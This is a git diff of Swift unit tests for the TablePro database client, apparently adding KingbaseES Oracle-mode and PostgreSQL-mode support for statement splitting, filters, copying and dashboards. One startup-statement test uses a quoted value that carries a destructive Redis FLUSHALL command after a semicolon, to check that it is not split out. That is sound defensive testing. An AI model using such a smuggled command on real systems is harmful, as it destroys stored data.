+++ b/apple/TableProTests/Core/DataWrite/RowChangeStatementFactoryServerOwnedTests.swift
@@ -203,9 +203,9 @@ struct RowChangeStatementFactoryServerOwnedTests {
#expect(!sql.contains("Doubled"))
}
- @Test
- func aPostgreSQLRestoreOverridesTheSystemValue() throws {
- let restored = try factory(databaseType: .postgresql, schemaName: "sales").restoreStatements(
+ @Test(arguments: [DatabaseType.postgresql, .pglite, .kingbasees])
+ func aPostgreSQLRestoreOverridesTheSystemValue(databaseType: DatabaseType) throws {
+ let restored = try factory(databaseType: databaseType, schemaName: "sales").restoreStatements(
rows: [["5", "a", "10"]]
)
#expect(restored.prologue.isEmpty)
diff --git a/apple/TableProTests/Core/Database/DatabaseAccessBridgeStatementTests.swift b/apple/TableProTests/Core/Database/DatabaseAccessBridgeStatementTests.swift
index 34d93a9709..2f7b8a90dd 100644
--- a/apple/TableProTests/Core/Database/DatabaseAccessBridgeStatementTests.swift
+++ b/apple/TableProTests/Core/Database/DatabaseAccessBridgeStatementTests.swift
@@ -47,6 +47,29 @@ struct DatabaseAccessBridgeStatementTests {
#expect(QueryClassifier.classifyTier(sent, databaseType: .postgresql) == .safe)
}
+ @Test(
+ "An external statement on a KingbaseES Oracle-mode session keeps the ; after its END",
+ arguments: ["BEGIN x := 1; y := 2; END;", "BEGIN x := 1; y := 2; END;\n/\n"]
+ )
+ @MainActor
+ func oracleModeBlockKeepsItsTerminator(sql: String) async throws {
+ let driver = ScriptAnsweringDriver(
+ connection: TestFixtures.makeConnection(database: "app", type: .kingbasees),
+ sessionLexicalState: TestGrammar.kingbaseESOracleSession
+ )
+ var session = ConnectionSession(connection: driver.connection)
+ session.driver = driver
+ DatabaseManager.shared.injectSession(session, for: driver.connection.id)
+ defer { DatabaseManager.shared.removeSession(for: driver.connection.id) }
+ let scope = DatabaseScope(connectionId: driver.connection.id, database: "app", schema: nil)
+
+ _ = try await DatabaseAccessBridge().runStatement(
+ scope: scope, query: sql, maxRows: 10, timeoutSeconds: 30, cancellation: nil
+ )
+
+ #expect(driver.sentStatements == ["BEGIN x := 1; y := 2; END;"])
+ }
+
@Test("An explain behind an invisible character is not wrapped in a second explain")
func explainBehindInvisibleCharacterIsNotWrapped() throws {
let statement = try MCPConnectionBridge.explainStatement(
diff --git a/apple/TableProTests/Core/Database/FilterSQLGeneratorColumnTypeTests.swift b/apple/TableProTests/Core/Database/FilterSQLGeneratorColumnTypeTests.swift
index 10a2ebd9d0..4265622d87 100644
--- a/apple/TableProTests/Core/Database/FilterSQLGeneratorColumnTypeTests.swift
+++ b/apple/TableProTests/Core/Database/FilterSQLGeneratorColumnTypeTests.swift
@@ -442,6 +442,40 @@ struct FilterSQLGeneratorColumnTypeTests {
#expect(postgres?.contains("'%a[bc]%'") == true)
}
+ // '' is NULL on Oracle and on KingbaseES in Oracle mode, so `v != ''` found no row there. Measured on Oracle 23ai,
+ // KingbaseES V9R1C10 in both modes and PostgreSQL 18: the length form returns what `= ''` returns on PostgreSQL.
+ @Test(
+ "Is empty and is not empty test the length where '' can read as NULL",
+ arguments: [DatabaseType.kingbasees, .oracle]
+ )
+ func emptyFiltersTestTheLength(databaseType: DatabaseType) {
+ let text = ColumnType.text(rawType: "text")
+ let empty = Self.engineCondition(databaseType, type: text, op: .isEmpty, value: "", dialect: Self.postgresqlDialect)
+ let notEmpty = Self.engineCondition(
+ databaseType, type: text, op: .isNotEmpty, value: "", dialect: Self.postgresqlDialect
+ )
+ #expect(empty == "(\"v\" IS NULL OR LENGTH(\"v\") = 0)")
+ #expect(notEmpty == "(\"v\" IS NOT NULL AND LENGTH(\"v\") > 0)")
+ }
+
+ @Test("The length form measures the text cast of a column of unknown type, and PostgreSQL and MySQL keep = ''")
+ func emptyFiltersElsewhere() {
+ let cast = Self.engineCondition(.kingbasees, type: nil, op: .isNotEmpty, value: "", dialect: Self.castingPostgres)
+ let mysql = Self.engineCondition(
+ .mysql, type: .text(rawType: "VARCHAR"), op: .isNotEmpty, value: "", dialect: Self.mysqlDialect
+ )
+ let integer = Self.engineCondition(
+ .kingbasees, type: .integer(rawType: "integer"), op: .isNotEmpty, value: "", dialect: Self.postgresqlDialect
+ )
+ let postgreSQL = Self.engineCondition(
+ .postgresql, type: .text(rawType: "text"), op: .isNotEmpty, value: "", dialect: Self.postgresqlDialect
+ )
+ #expect(cast == "(\"v\" IS NOT NULL AND LENGTH(CAST(\"v\" AS TEXT)) > 0)")
+ #expect(mysql == "(`v` IS NOT NULL AND `v` != '')")
+ #expect(postgreSQL == "(\"v\" IS NOT NULL AND \"v\" != '')")
+ #expect(integer == "\"v\" IS NOT NULL")
+ }
+
@Test("A PostgreSQL bit read as a string of digits compares quoted")
func postgresBitIsQuoted() {
let type = ColumnTypeClassifier(family: .postgres).classify(rawTypeName: "bit")
diff --git a/apple/TableProTests/Core/Database/StartupStatementsTests.swift b/apple/TableProTests/Core/Database/StartupStatementsTests.swift
index 503c3a3f1c..5f26c1f07c 100644
--- a/apple/TableProTests/Core/Database/StartupStatementsTests.swift
+++ b/apple/TableProTests/Core/Database/StartupStatementsTests.swift
@@ -38,6 +38,14 @@ struct StartupStatementsTests {
#expect(statements == ["SET marker \"a; FLUSHALL; b\"", "CLIENT SETNAME 'line\nbreak'"])
}
+ @Test("A startup block on a KingbaseES Oracle-mode session runs whole")
+ func oracleModeBlockRunsWhole() {
+ let block = "BEGIN dbms_session.set_identifier('x'); END;"
+ #expect(DatabaseManager.startupStatements(
+ from: block, databaseType: .kingbasees, grammar: TestGrammar.kingbaseESOracle
+ ) == [block])
+ }
+
@Test("Blank text holds no startup statement")
func blank() {
#expect(DatabaseManager.startupStatements(from: " \n ; ", databaseType: .postgresql).isEmpty)
diff --git a/apple/TableProTests/Core/ObjectCopy/ObjectCopyEligibilityTests.swift b/apple/TableProTests/Core/ObjectCopy/ObjectCopyEligibilityTests.swift
index 377c2c42be..c96879b303 100644
--- a/apple/TableProTests/Core/ObjectCopy/ObjectCopyEligibilityTests.swift
+++ b/apple/TableProTests/Core/ObjectCopy/ObjectCopyEligibilityTests.swift
@@ -90,6 +90,41 @@ struct ObjectCopyEligibilityTests {
#expect(ObjectCopyEligibility.definitionEngineRefusal(from: .postgresql, to: .postgresql) == nil)
}
+ private static let oracleModeSession = PluginSessionLexicalState(
+ determined: [.plsqlBlocks, .alternativeQuoting], enabled: [.plsqlBlocks, .alternativeQuoting]
+ )
+ private static let pgModeSession = PluginSessionLexicalState(determined: [.plsqlBlocks], enabled: [])
+
+ @Test
+ func kingbaseESCopiesWithPostgreSQLOnlyInPostgreSQLMode() {
+ #expect(ObjectCopyEligibility.engineRefusal(
+ from: .postgresql, to: .kingbasees, sourceLanguage: .sql, targetLanguage: .sql,
+ sourceSession: nil, targetSession: Self.pgModeSession
+ ) == nil)
+ #expect(ObjectCopyEligibility.definitionEngineRefusal(
+ from: .kingbasees, to: .postgresql, sourceSession: Self.pgModeSession, targetSession: nil
+ ) == nil)
+ #expect(ObjectCopyEligibility.engineRefusal(
+ from: .postgresql, to: .kingbasees, sourceLanguage: .sql, targetLanguage: .sql,
+ sourceSession: nil, targetSession: Self.oracleModeSession
+ ) != nil)
+ #expect(ObjectCopyEligibility.definitionEngineRefusal(
+ from: .kingbasees, to: .postgresql, sourceSession: Self.oracleModeSession, targetSession: nil
+ ) != nil)
+ }
+
+ @Test
+ func kingbaseESCopiesBetweenServersOfTheSameModeOnly() {
+ #expect(ObjectCopyEligibility.engineRefusal(
+ from: .kingbasees, to: .kingbasees, sourceLanguage: .sql, targetLanguage: .sql,
+ sourceSession: Self.oracleModeSession, targetSession: Self.oracleModeSession
+ ) == nil)
+ #expect(ObjectCopyEligibility.engineRefusal(
+ from: .kingbasees, to: .kingbasees, sourceLanguage: .sql, targetLanguage: .sql,
+ sourceSession: Self.oracleModeSession, targetSession: Self.pgModeSession
+ ) != nil)
+ }
+
/// Copying a database onto itself either drops the rows it is about to read or doubles them.
@Test
func theSameScopeIsRefusedAsATarget() {
diff --git a/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift
index ed59495781..88182458fc 100644
--- a/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift
+++ b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift
@@ -12,14 +12,18 @@ struct PluginMetadataRegistryKingbaseESTests {
#expect(registry.pluginTypeId(for: "KingbaseES") == "KingbaseES")
#expect(DatabaseType.kingbasees.isDownloadablePlugin)
let snapshot = try #require(registry.snapshot(forRegisteredTypeId: "KingbaseES"))
+ let postgreSQL = try #require(registry.snapshot(forRegisteredTypeId: "PostgreSQL"))
#expect(snapshot.displayName == "KingbaseES")
+ #expect(snapshot.iconName == "cylinder")
+ #expect(snapshot.connection.tagline != postgreSQL.connection.tagline)
#expect(snapshot.defaultPort == 54_321)
#expect(snapshot.urlSchemes == ["kingbase", "kingbase8"])
#expect(snapshot.parameterStyle == .dollar)
- #expect(snapshot.schema.systemSchemaNames.contains("sys_catalog"))
+ #expect(snapshot.schema.systemSchemaNames == PluginMetadataRegistry.kingbaseESSystemSchemaNames)
#expect(snapshot.capabilities.supportsSchemaSwitching)
#expect(snapshot.connection.additionalConnectionFields.map(\.id) == ["usePgpass", "connectionOptions"])
}
+
@Test("Both KingbaseES URL schemes keep credentials and route to the dedicated engine", arguments: ["kingbase", "kingbase8"])
func connectionURLs(scheme: String) throws {
let parsed = try ConnectionURLParser.parse("\(scheme)://system:pass@localhost:55432/test").get()
diff --git a/apple/TableProTests/Core/Plugins/PluginMetadataRegistryTypeCountTests.swift b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryTypeCountTests.swift
index ab35bb55f5..e5d6ddaacd 100644
--- a/apple/TableProTests/Core/Plugins/PluginMetadataRegistryTypeCountTests.swift
+++ b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryTypeCountTests.swift
@@ -7,7 +7,7 @@ import Testing
struct PluginMetadataRegistryTypeCountTests {
private static let expectedTypeIds: Set = [
"Beancount", "BigQuery", "Cassandra", "ClickHouse", "Cloudflare D1", "Cloudflare R2 SQL",
- "KingbaseES", "CockroachDB", "Dameng", "Databend", "DuckDB", "DynamoDB", "Elasticsearch", "etcd", "Kafka",
+ "CockroachDB", "Dameng", "Databend", "DuckDB", "DynamoDB", "Elasticsearch", "etcd", "Kafka", "KingbaseES",
"libSQL", "MariaDB", "MongoDB", "MySQL", "Oracle", "PGlite", "PostgreSQL", "Redis", "Redshift",
"SAP HANA", "ScyllaDB", "Snowflake", "Spanner", "SQL Server", "SQLite", "SurrealDB", "Teradata", "TiDB",
"Trino", "Presto", "Turso", "Typesense", "Weaviate", "OceanBase", "Firestore", "Firebase Realtime Database", "Bigtable"
diff --git a/apple/TableProTests/Core/ServerDashboard/PostgreSQLDashboardProviderTests.swift b/apple/TableProTests/Core/ServerDashboard/PostgreSQLDashboardProviderTests.swift
index 8414620d22..b7afd70ee6 100644
--- a/apple/TableProTests/Core/ServerDashboard/PostgreSQLDashboardProviderTests.swift
+++ b/apple/TableProTests/Core/ServerDashboard/PostgreSQLDashboardProviderTests.swift
@@ -60,6 +60,15 @@ struct PostgreSQLDashboardProviderTests {
#expect(try catalog(for: .cockroachdb, serverVersion: "13.0.0") == .current)
}
+ // KingbaseES V9R1C10 reports server_version 12.1 in both modes and answers all five metrics.
+ @Test("KingbaseES reads the current catalog and every metric")
+ func kingbaseReadsCurrentCatalog() throws {
+ let provider = ServerDashboardQueryProviderFactory.provider(for: .kingbasees, serverVersion: "12.1")
+ let postgres = try #require(provider as? PostgreSQLDashboardProvider)
+ #expect(postgres.activityCatalog == .current)
+ #expect(postgres.metricSet == .full)
+ }
+
@Test("Redshift never names a pg_stat_activity column that arrived after PostgreSQL 8.0")
func redshiftAsksOnlyForItsColumns() async throws {
let provider = try #require(
diff --git a/apple/TableProTests/Core/ServerDashboard/ServerDashboardQueryProviderFactoryTests.swift b/apple/TableProTests/Core/ServerDashboard/ServerDashboardQueryProviderFactoryTests.swift
index dd219bb1c1..7cfbc7f656 100644
--- a/apple/TableProTests/Core/ServerDashboard/ServerDashboardQueryProviderFactoryTests.swift
+++ b/apple/TableProTests/Core/ServerDashboard/ServerDashboardQueryProviderFactoryTests.swift
@@ -33,7 +33,8 @@ struct ServerDashboardQueryProviderFactoryTests {
@Test("Server engines each have one")
func serverEnginesHaveOne() {
let types: [DatabaseType] = [
- .postgresql, .mysql, .mariadb, .redshift, .cockroachdb, .mssql, .clickhouse, .oracle, .mongodb, .redis,
+ .postgresql, .kingbasees, .mysql, .mariadb, .redshift, .cockroachdb, .mssql, .clickhouse, .oracle, .mongodb,
+ .redis,
]
for type in types {
#expect(ServerDashboardQueryProviderFactory.supportsDashboard(for: type), "\(type.rawValue)")
diff --git a/apple/TableProTests/Core/Services/Execution/TransactionEngineFamilyTests.swift b/apple/TableProTests/Core/Services/Execution/TransactionEngineFamilyTests.swift
index 93fa022209..b1184108b9 100644
--- a/apple/TableProTests/Core/Services/Execution/TransactionEngineFamilyTests.swift
+++ b/apple/TableProTests/Core/Services/Execution/TransactionEngineFamilyTests.swift
@@ -10,7 +10,7 @@ import Testing
struct TransactionEngineFamilyTests {
@Test(
"Every PostgreSQL-compatible engine reads the PostgreSQL rules",
- arguments: ["PostgreSQL", "PGlite", "AlloyDB", "Citus", "Greenplum"]
+ arguments: ["PostgreSQL", "PGlite", "AlloyDB", "Citus", "Greenplum", "KingbaseES"]
)
func postgresCompatibles(typeId: String) {
#expect(TransactionEngineFamily.of(DatabaseType(rawValue: typeId)) == .postgres)
diff --git a/apple/TableProTests/Core/Services/ImportServiceSessionGrammarTests.swift b/apple/TableProTests/Core/Services/ImportServiceSessionGrammarTests.swift
new file mode 100644
index 0000000000..2caffa8b17
--- /dev/null
+++ b/apple/TableProTests/Core/Services/ImportServiceSessionGrammarTests.swift
@@ -0,0 +1,112 @@
+//
+// ImportServiceSessionGrammarTests.swift
+// TableProTests
+//
+// A SQL file is split the way the connection's session lexes, so a KingbaseES cluster in Oracle mode gets a
+// PL/SQL block whole and its `/` line is never sent.
+//
+
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import Testing
+
+private final class SessionGrammarDriver: PluginDriverStub, @unchecked Sendable {
+ let sessionLexicalState: PluginSessionLexicalState?
+ private let lock = NSLock()
+ private var executed: [String] = []
+
+ init(sessionLexicalState: PluginSessionLexicalState?) {
+ self.sessionLexicalState = sessionLexicalState
+ }
+
+ var statements: [String] {
+ lock.withLock { executed }
+ }
+
+ func execute(query: String) async throws -> PluginQueryResult {
+ lock.withLock { executed.append(query) }
+ return .empty
+ }
+}
+
+/// Sends every statement the source reads, as the SQL import does.
+private final class ForwardingImportPlugin: ImportFormatPlugin {
+ static let pluginName = "Forwarding Import"
+ static let pluginVersion = "1.0"
+ static let pluginDescription = "An import format that sends each statement its source reads"
+ static let formatId = "tablepro-tests-forwarding-import"
+ static let formatDisplayName = "Forwarding"
+ static let acceptedFileExtensions = ["sql"]
+ static let iconName = "doc"
+ static let requiresTargetTable = false
+
+ required init() {}
+
+ func performImport(
+ source: any PluginImportSource,
+ sink: any PluginImportDataSink,
+ progress: PluginImportProgress
+ ) async throws -> PluginImportResult {
+ var count = 0
+ for try await (statement, line) in try await source.statements() {
+ try await sink.execute(statement: statement, line: line)
+ count += 1
+ }
+ return PluginImportResult(executedStatements: count, executionTime: 0)
+ }
+}
+
+private actor DiscardingHistory: QueryHistoryRecording {
+ func record(_ request: QueryHistoryRecordRequest) async -> Bool { true }
+}
+
+@MainActor
+struct ImportServiceSessionGrammarTests {
+ private static let file = "BEGIN x := 1; y := 2; END;\n/\nSELECT 2;\n"
+
+ private func importFile(on driver: SessionGrammarDriver) async throws -> [String] {
+ let connection = TestFixtures.makeConnection(database: "app", type: .kingbasees)
+ var session = ConnectionSession(
+ connection: connection,
+ driver: PluginDriverAdapter(connection: connection, pluginDriver: driver)
+ )
+ session.browseDatabase = "app"
+ session.status = .connected
+ DatabaseManager.shared.injectSession(session, for: connection.id)
+ defer { DatabaseManager.shared.removeSession(for: connection.id) }
+
+ let formatId = "\(ForwardingImportPlugin.formatId)-\(UUID().uuidString)"
+ PluginManager.shared.importPlugins[formatId] = ForwardingImportPlugin()
+ defer { PluginManager.shared.importPlugins[formatId] = nil }
+
+ let url = FileManager.default.temporaryDirectory
+ .appendingPathComponent("session-grammar-import-\(UUID().uuidString)")
+ .appendingPathExtension("sql")
+ try Data(Self.file.utf8).write(to: url)
+ defer { try? FileManager.default.removeItem(at: url) }
+
+ let service = ImportService(connection: connection, historyRecorder: DiscardingHistory(), gate: AlwaysAllowGate())
+ _ = try await service.importFile(
+ from: url,
+ formatId: formatId,
+ encoding: .utf8,
+ scope: DatabaseScope(connectionId: connection.id, database: "app", schema: nil)
+ )
+ return driver.statements
+ }
+
+ @Test("An Oracle-mode session gets a PL/SQL block whole, and the / line that ends it is not sent")
+ func oracleModeSessionKeepsTheBlockWhole() async throws {
+ let sent = try await importFile(on: SessionGrammarDriver(sessionLexicalState: TestGrammar.kingbaseESOracleSession))
+
+ #expect(sent == ["BEGIN x := 1; y := 2; END;", "SELECT 2"])
+ }
+
+ @Test("Without a session that says otherwise the file splits as PostgreSQL does")
+ func defaultGrammarSplitsAtEverySemicolon() async throws {
+ let sent = try await importFile(on: SessionGrammarDriver(sessionLexicalState: nil))
+
+ #expect(sent.first == "BEGIN x := 1")
+ }
+}
diff --git a/apple/TableProTests/Core/Services/Query/ExplainPlanFormatResolutionTests.swift b/apple/TableProTests/Core/Services/Query/ExplainPlanFormatResolutionTests.swift
index 1d73d38f74..df0a3ef6c1 100644
--- a/apple/TableProTests/Core/Services/Query/ExplainPlanFormatResolutionTests.swift
+++ b/apple/TableProTests/Core/Services/Query/ExplainPlanFormatResolutionTests.swift
@@ -47,6 +47,7 @@ struct ExplainPlanFormatResolutionTests {
@Test("A database type the app knows resolves a format even when the variant declares none")
func fallsBackToCuratedDefault() {
#expect(ExplainFormatResolver.resolve(declared: .plainText, databaseType: .pglite) == .postgresJson)
+ #expect(ExplainFormatResolver.resolve(declared: .plainText, databaseType: .kingbasees) == .postgresJson)
#expect(ExplainFormatResolver.resolve(declared: .plainText, databaseType: .cloudflareD1) == .sqliteQueryPlan)
#expect(ExplainFormatResolver.resolve(declared: .plainText, databaseType: .libsql) == .sqliteQueryPlan)
#expect(ExplainFormatResolver.resolve(declared: .plainText, databaseType: .turso) == .sqliteQueryPlan)
diff --git a/apple/TableProTests/Core/Utilities/SQL/CatalogChangeClassifierTests.swift b/apple/TableProTests/Core/Utilities/SQL/CatalogChangeClassifierTests.swift
index 0bced6ceb1..ca7150c587 100644
--- a/apple/TableProTests/Core/Utilities/SQL/CatalogChangeClassifierTests.swift
+++ b/apple/TableProTests/Core/Utilities/SQL/CatalogChangeClassifierTests.swift
@@ -142,6 +142,16 @@ struct CatalogChangeClassifierTests {
#expect(CatalogChangeClassifier.effect(of: sql, databaseType: .postgresql) == .none)
}
+ @Test("a block on a KingbaseES Oracle-mode session is read as a block, not as a transaction start")
+ func oracleModeBlockIsOpaque() {
+ let sql = "BEGIN staging_pkg.create_tables(1); END;"
+ #expect(CatalogChangeClassifier.effect(of: sql, databaseType: .kingbasees).kinds.isEmpty)
+ #expect(
+ CatalogChangeClassifier.effect(of: sql, databaseType: .kingbasees, grammar: TestGrammar.kingbaseESOracle)
+ .kinds == .everything
+ )
+ }
+
@Test("a script reports the union of its statements")
func scriptsUnionTheirStatements() {
let effect = CatalogChangeClassifier.effect(
diff --git a/apple/TableProTests/Core/Utilities/SQL/QueryClassifierLexicalTests.swift b/apple/TableProTests/Core/Utilities/SQL/QueryClassifierLexicalTests.swift
index bd120a5f26..8cad388375 100644
--- a/apple/TableProTests/Core/Utilities/SQL/QueryClassifierLexicalTests.swift
+++ b/apple/TableProTests/Core/Utilities/SQL/QueryClassifierLexicalTests.swift
@@ -238,6 +238,7 @@ struct QueryClassifierLexicalTests {
(DatabaseType.snowflake, "SELECT SYSTEM$ABORT_SESSION(1)"),
(DatabaseType.teradata, "SELECT SYSLIB.AbortSessions(1, 'u', 0, 'Y', 'Y')"),
(DatabaseType.oracle, "SELECT orders_seq.NEXTVAL FROM DUAL"),
+ (DatabaseType.kingbasees, "SELECT orders_seq.NEXTVAL FROM DUAL"),
(DatabaseType.sapHana, "SELECT MY_SEQ.NEXTVAL FROM DUMMY"),
(DatabaseType.snowflake, "SELECT orders_seq.nextval"),
(DatabaseType.mssql, "SELECT NEXT VALUE FOR dbo.orders_seq"),
diff --git a/apple/TableProTests/Core/Utilities/SQL/SQLScriptTextTests.swift b/apple/TableProTests/Core/Utilities/SQL/SQLScriptTextTests.swift
index 793ba35443..b8a2b9bd29 100644
--- a/apple/TableProTests/Core/Utilities/SQL/SQLScriptTextTests.swift
+++ b/apple/TableProTests/Core/Utilities/SQL/SQLScriptTextTests.swift
@@ -72,6 +72,15 @@ struct SQLScriptTextTests {
#expect(Self.dameng.sendableStatements(text) == [text])
}
+ @Test("A KingbaseES Oracle-mode session sends a block whole, where the engine's default cuts it at each ;")
+ func sessionGrammarKeepsABlockWhole() {
+ let text = "BEGIN x := 1; y := 2; END;\n/\nSELECT 2;"
+ let session = SQLScriptText(databaseType: .kingbasees, grammar: TestGrammar.kingbaseESOracle)
+
+ #expect(session.sendableStatements(text) == ["BEGIN x := 1; y := 2; END;", "SELECT 2"])
+ #expect(SQLScriptText(databaseType: .kingbasees).sendableStatements(text).first == "BEGIN x := 1")
+ }
+
@Test("Nothing but blanks sends nothing")
func blankTextSendsNothing() {
#expect(Self.oracle.sendableStatements(" \n ").isEmpty)
diff --git a/apple/TableProTests/Core/Utilities/SQLRowToStatementConverterTests.swift b/apple/TableProTests/Core/Utilities/SQLRowToStatementConverterTests.swift
index cd228d6da4..b5df30bfd0 100644
--- a/apple/TableProTests/Core/Utilities/SQLRowToStatementConverterTests.swift
+++ b/apple/TableProTests/Core/Utilities/SQLRowToStatementConverterTests.swift
@@ -633,6 +633,7 @@ struct SQLRowToStatementConverterTests {
)
#expect(converter.generateUpdates(rows: plain([["a", "x"]])) == "UPDATE [Enterprise_App_Approved] SET [Shape] = N'x' WHERE [code] = N'a';")
}
+
@Test("KingbaseES copies binary INSERT and UPDATE values as bytea, including empty bytes")
func kingbaseBinaryStatements() throws {
let converter = try makeConverter(
@@ -647,4 +648,16 @@ struct SQLRowToStatementConverterTests {
}
}
+ // X'..' is a bit-string literal, which a bytea column refuses.
+ @Test("PGlite copies binary values as bytea, not as a bit string")
+ func pgliteBinaryStatements() throws {
+ let converter = try makeConverter(
+ tableName: "documents", columns: ["id", "payload"],
+ databaseType: .pglite, dialect: Self.postgresDialect
+ )
+ let rows = plain([[.text("1"), .bytes(Data([0xDE, 0xAD]))]])
+ #expect(converter.generateInserts(rows: rows).contains("'\\xDEAD'::bytea"))
+ #expect(converter.generateUpdates(rows: rows).contains("\"payload\" = '\\xDEAD'::bytea"))
+ #expect(!converter.generateInserts(rows: rows).contains("X'DEAD'"))
+ }
}
diff --git a/apple/TableProTests/Helpers/ScriptAnsweringDriver.swift b/apple/TableProTests/Helpers/ScriptAnsweringDriver.swift
index 44885110b8..3c5783a2dd 100644
--- a/apple/TableProTests/Helpers/ScriptAnsweringDriver.swift
+++ b/apple/TableProTests/Helpers/ScriptAnsweringDriver.swift
@@ -16,6 +16,7 @@ final class ScriptAnsweringDriver: DatabaseDriver, @unchecked Sendable {
}
let connection: DatabaseConnection
+ let sessionLexicalState: PluginSessionLexicalState?
var status: ConnectionStatus = .connected
var serverVersion: String? { nil }
@@ -38,9 +39,11 @@ final class ScriptAnsweringDriver: DatabaseDriver, @unchecked Sendable {
sendsBatchesWhole: Bool = true,
transactionState: PluginSessionTransactionState = .idle,
transactionStateAfterBatches: PluginSessionTransactionState? = nil,
+ sessionLexicalState: PluginSessionLexicalState? = nil,
answer: @escaping @Sendable (String) -> QueryBatchResult = { _ in .empty }
) {
self.connection = connection
+ self.sessionLexicalState = sessionLexicalState
self.sendsBatchesWhole = sendsBatchesWhole
self.transactionState = transactionState
self.transactionStateAfterBatches = transactionStateAfterBatches
diff --git a/apple/TableProTests/Helpers/TestGrammar.swift b/apple/TableProTests/Helpers/TestGrammar.swift
index 1cfd3391ba..f537d2fc22 100644
--- a/apple/TableProTests/Helpers/TestGrammar.swift
+++ b/apple/TableProTests/Helpers/TestGrammar.swift
@@ -4,6 +4,7 @@
//
@testable import TablePro
+import TableProPluginKit
import TableProSQLGrammar
/// The grammar each engine family a test names is split with, taken from the app's own resolver so a test reads
@@ -17,6 +18,18 @@ enum TestGrammar {
static let sqlServer = DatabaseType.mssql.lexicalGrammar
static let snowflake = DatabaseType.snowflake.lexicalGrammar
static let standard = SQLLexicalGrammar.ansi
+
+ /// What the KingbaseES driver reports for a cluster initialized in Oracle mode.
+ static let kingbaseESOracleSession = PluginSessionLexicalState(
+ determined: [
+ .alternativeQuoting, .plsqlBlocks, .slashLineTerminators, .dollarAndHashInIdentifiers,
+ .backslashEscapesInSingleQuotes,
+ ],
+ enabled: [.alternativeQuoting, .plsqlBlocks, .slashLineTerminators, .dollarAndHashInIdentifiers]
+ )
+ static let kingbaseESOracle = SQLLexicalResolver.readings(
+ for: .kingbasees, session: kingbaseESOracleSession
+ ).execution
}
/// A statement split with no engine named is standard SQL, which is what a test that does not care about an engine's
diff --git a/apple/TableProTests/Models/Schema/ColumnDefaultVocabularyTests.swift b/apple/TableProTests/Models/Schema/ColumnDefaultVocabularyTests.swift
index ccc1787a90..94c7a1d481 100644
--- a/apple/TableProTests/Models/Schema/ColumnDefaultVocabularyTests.swift
+++ b/apple/TableProTests/Models/Schema/ColumnDefaultVocabularyTests.swift
@@ -45,6 +45,7 @@ struct ColumnDefaultVocabularyTests {
func emptyStringOmittedOnOracleFamily() {
#expect(!sqlValues(.oracle).contains("''"))
#expect(!sqlValues(.dameng).contains("''"))
+ #expect(!sqlValues(.kingbasees).contains("''"))
#expect(sqlValues(.mysql).contains("''"))
#expect(sqlValues(.postgresql).contains("''"))
}
@@ -86,6 +87,8 @@ struct ColumnDefaultVocabularyTests {
@Test("Engines that share a plugin still get their own vocabulary")
func sharedPluginsDoNotShareVocabulary() {
#expect(!sqlValues(.redshift).contains("gen_random_uuid()"))
+ #expect(!sqlValues(.kingbasees).contains("gen_random_uuid()"))
+ #expect(sqlValues(.kingbasees).contains("now()"))
#expect(sqlValues(.cockroachdb).contains("unique_rowid()"))
#expect(!sqlValues(.postgresql).contains("unique_rowid()"))
#expect(sqlValues(.mysql) != sqlValues(.mariadb))
diff --git a/apple/TableProTests/Models/Schema/ForeignKeyDialectTests.swift b/apple/TableProTests/Models/Schema/ForeignKeyDialectTests.swift
index 3f10ad021e..aa51ee2b08 100644
--- a/apple/TableProTests/Models/Schema/ForeignKeyDialectTests.swift
+++ b/apple/TableProTests/Models/Schema/ForeignKeyDialectTests.swift
@@ -81,6 +81,13 @@ struct ForeignKeyDialectTests {
}
}
+ // Measured on KingbaseES V9R1C10: Oracle mode keeps PostgreSQL's ON UPDATE grammar.
+ @Test("KingbaseES takes PostgreSQL's clause in both modes")
+ func kingbasees() {
+ #expect(ForeignKeyDialect.forType(.kingbasees) == ForeignKeyDialect.forType(.postgresql))
+ #expect(ForeignKeyDialect.forType(.kingbasees).allowsOmittedReferencedColumns)
+ }
+
@Test("an engine nobody has checked keeps the full vocabulary")
func unknownEngine() {
let dialect = ForeignKeyDialect.forType(DatabaseType(rawValue: "SomeFuturePlugin"))
diff --git a/apple/TableProTests/Models/Schema/IndexKeyListTests.swift b/apple/TableProTests/Models/Schema/IndexKeyListTests.swift
index 6a381aad7f..d270733b9b 100644
--- a/apple/TableProTests/Models/Schema/IndexKeyListTests.swift
+++ b/apple/TableProTests/Models/Schema/IndexKeyListTests.swift
@@ -130,7 +130,7 @@ struct IndexKeyListTests {
@Test("Engines that write an expression key take one; the rest take column names")
func dialectPerEngine() {
- for type in [DatabaseType.postgresql, .pglite, .sqlite, .libsql, .turso, .cloudflareD1, .duckdb] {
+ for type in [DatabaseType.postgresql, .pglite, .kingbasees, .sqlite, .libsql, .turso, .cloudflareD1, .duckdb] {
#expect(IndexKeyDialect.forType(type) == IndexKeyDialect(takesPrefixLengths: false, takesExpressions: true))
}
#expect(IndexKeyDialect.forType(.mysql) == IndexKeyDialect(takesPrefixLengths: true, takesExpressions: true))
diff --git a/apple/TableProTests/Views/Editor/SQLEditorSessionGrammarTests.swift b/apple/TableProTests/Views/Editor/SQLEditorSessionGrammarTests.swift
new file mode 100644
index 0000000000..6075433376
--- /dev/null
+++ b/apple/TableProTests/Views/Editor/SQLEditorSessionGrammarTests.swift
@@ -0,0 +1,80 @@
+//
+// SQLEditorSessionGrammarTests.swift
+// TableProTests
+//
+// The editor's run controls split with the connection's session grammar, which is only known once the driver has
+// connected, and a reconnect or a `SET` can change it while the editor stays open.
+//
+
+import AppKit
+import Foundation
+import SwiftUI
+@testable import TablePro
+import TableProEditorKit
+import TableProPluginKit
+import TableProTestSupport
+import TableProTextEngine
+import Testing
+
+@MainActor
+struct SQLEditorSessionGrammarTests {
+ private final class Model {
+ var text = "BEGIN\n x := 1;\n y := 2;\nEND;\n/\nSELECT 2;"
+ var cursorPositions: [CursorPosition] = []
+ var ran: [String] = []
+ }
+
+ private func runStatementAtCaret(in editor: SQLEditorController, model: Model) -> String? {
+ let caret = (model.text as NSString).range(of: "y := 2").location
+ editor.textViewController.setCursorPositions([CursorPosition(range: NSRange(location: caret, length: 0))])
+ editor.coordinator.runStatementAtCursorAndAdvance()
+ return model.ran.popLast()
+ }
+
